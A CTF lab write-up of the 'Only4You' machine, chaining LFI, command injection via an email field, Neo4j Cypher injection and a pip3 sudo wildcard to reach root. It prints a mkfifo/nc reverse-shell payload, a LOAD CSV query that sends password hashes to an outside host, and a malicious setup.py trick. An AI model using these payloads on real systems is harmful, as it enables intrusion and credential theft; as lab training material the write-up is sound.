$ nmap -p- --min-rate 5000 10.129.84.140
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-26 23:07 EDT
Nmap scan report for 10.129.84.140
Host is up (0.0072s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Web Exploit for RCE it seems. We have to add only4you.htb to our /etc/hosts file to view the website.
Only4You Beta
Port 80 is hosting a corporate website.
At the very bottom, it seems that we can download a trial of their application. This redirects us to the beta.only4you.htb domain.
The subdomain shows us this site where we can view source code.
I'm assuming that this is the source code for the Resizer and Converter application that is present in the corner. When we download the source code, there is an app.py and tool.py file that we have to analyse.
Within the app.py function, there's a /download function that checks for LFI.
This works! So we have LFI, and the rest of the code for app.py and tool.py look rather uninteresting. Instead, I tried to read the application files for the main website. Since the beta website is Flask based, I assumed the main website was Flask based as well. We can find the app.py file in /var/www/only4you.htb/app.py.
$ curl -X POST 'http://beta.only4you.htb/download'-d 'image=/var/www/only4you.htb/app.py'from flask import Flask, render_template, request, flash, redirectfrom form import sendmessageimport uuidapp =Flask(__name__)app.secret_key = uuid.uuid4().hex@app.route('/', methods=['GET', 'POST'])defindex():if request.method =='POST': email = request.form['email'] subject = request.form['subject'] message = request.form['message'] ip = request.remote_addr status =sendmessage(email, subject, message, ip)if status ==0:flash('Something went wrong!', 'danger')elif status ==1:flash('You are not authorized!', 'danger')else:flash('Your message was successfuly sent! We will reply as soon as possible.', 'success')returnredirect('/#contact')else:returnrender_template('index.html')@app.errorhandler(404)defpage_not_found(error):returnrender_template('404.html'),404@app.errorhandler(500)defserver_errorerror(error):returnrender_template('500.html'),500@app.errorhandler(400)defbad_request(error):returnrender_template('400.html'),400@app.errorhandler(405)defmethod_not_allowed(error):returnrender_template('405.html'),405if__name__=='__main__': app.run(host='127.0.0.1', port=80, debug=False)
So the main website takes a message and directly sends it elsewhere. Since it imports the form module, let's read form.py.
import smtplib, refrom email.message import EmailMessagefrom subprocess import PIPE, runimport ipaddressdefissecure(email,ip):ifnot re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):return0else: domain = email.split("@", 1)[1] result =run([f"dig txt {domain}"], shell=True, stdout=PIPE) output = result.stdout.decode('utf-8')if"v=spf1"notin output:return1else: domains = [] ips = []if"include:"in output: dms =''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:") dms.pop(0)for domain in dms: domains.append(domain)whileTrue:for domain in domains: result =run([f"dig txt {domain}"], shell=True, stdout=PIPE) output = result.stdout.decode('utf-8')if"include:"in output: dms =''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:") domains.clear()for domain in dms: domains.append(domain)elif"ip4:"in output: ipaddresses =''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:") ipaddresses.pop(0)for i in ipaddresses: ips.append(i)else:passbreakelif"ip4"in output: ipaddresses =''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:") ipaddresses.pop(0)for i in ipaddresses: ips.append(i)else:return1for i in ips:if ip == i:return2elif ipaddress.ip_address(ip)in ipaddress.ip_network(i):return2else:return1defsendmessage(email,subject,message,ip): status =issecure(email, ip)if status ==2: msg =EmailMessage() msg['From']=f'{email}' msg['To']='info@only4you.htb' msg['Subject']=f'{subject}' msg['Message']=f'{message}' smtp = smtplib.SMTP(host='localhost', port=25) smtp.send_message(msg) smtp.quit()return statuselif status ==1:return statuselse:return status
Long code, but basically insecure checks for certain characters within the message we send, and afterwards send an email to somewhere else.
The vulnerability lies here: result = run([f"dig txt {domain}"], shell=True, stdout=PIPE). This takes the domain part of the email without sanitisation and inserts it into a command. We can easily get RCE using |. By sending this query, I got a shell as www-data.
POST / HTTP/1.1Host:only4you.htbUser-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateContent-Type:application/x-www-form-urlencodedContent-Length:60Origin:http://only4you.htbConnection:closeReferer:http://only4you.htb/Upgrade-Insecure-Requests:1name=test&email=test%40website.com+|+rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.5+4444+>/tmp/f&subject=test&message=test
Privilege Escalation
There are 2 main users within the machine, dev and john. We don't have access to them at all.
Port Fowarding
Within the /opt directory, there is a directory owned by dev, which I assume is the next user to exploit.
www-data@only4you:/opt$ ls -la
total 16
drwxr-xr-x 4 root root 4096 Dec 8 20:56 .
drwxr-xr-x 17 root root 4096 Mar 30 11:51 ..
drwxr----- 6 dev dev 4096 Apr 27 03:25 gogs
drwxr----- 6 dev dev 4096 Mar 30 11:51 internal_app
By running netstat -tulpn, there are more ports open on the server.
Most notably, there's neo4j running on port 7687. Also, there's another HTTP server on port 8001. We can do port forwarding with chisel easily.
# on kalichiselserver-p5555--reverse# on victim./chiselclient10.10.14.5:5555R:1080:socks
Trying to use proxychains with Firefox didn't really work for some reason, so I changed the command to only forward port 8001.
Neo4j Injection
Port 8001 was another login page:
I tried some weak credentials, and found that admin:admin worked. This was some sort of dashboard with sales and stuff.
Within the Employees tab, we can search for the names of employees.
There's the port for neo4j open on the machine, so I assumed that some kind of query injection was next. Also, we can see the Tasks on the main dashboard page to verify this.
As usual, Hacktricks has a whole page to get us started.
The injection via neo4j seems to work via sending a HTTP requests with the output to an external server. We can first use this command to extract some information about the database and its labels.
Great! We have confirmed that we have injection. Now, we can try to extract hashes from the user part of the database. Using this command, we can extract the hashes of the users!
' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.5:5000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
We can crack these hashes on CrackStation.
With this password, we can ssh in as john! Then, we can grab the user flag.
Gogs and Sudo -> Root
Since we have the password of the user, we can check sudo privileges.
john@only4you:~$ sudo -l
Matching Defaults entries for john on only4you:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User john may run the following commands on only4you:
(root) NOPASSWD: /usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz
Obviously, there's a wildcard here and it is vulnerable. Now, this was using port 3000, and we should try to port forward that. Doing so would reveal that port 3000 is running a Gogs server.
Checking the repository, we can see that john is a user on the service. We can reuse the password we found earlier to login. Afterwards, we can create repositories on this.
Since this exploit involved using pip3 download, we can search for exploits regarding that. Here's a good resource I found:
The exploit details how we have to create a malicious repository on this Gogs instance and use pip3 to download and run malicious code. The author of the article above shared his PoC repository, which we can download and modify.
I just modifed the setup.py file to run os.system("chmod u+s /bin/bash"). Afterwards, we need to build the package using python3 -m build. Afterwards, we need to upload the file. I created a new repository on the Gogs instance and uploaded it there.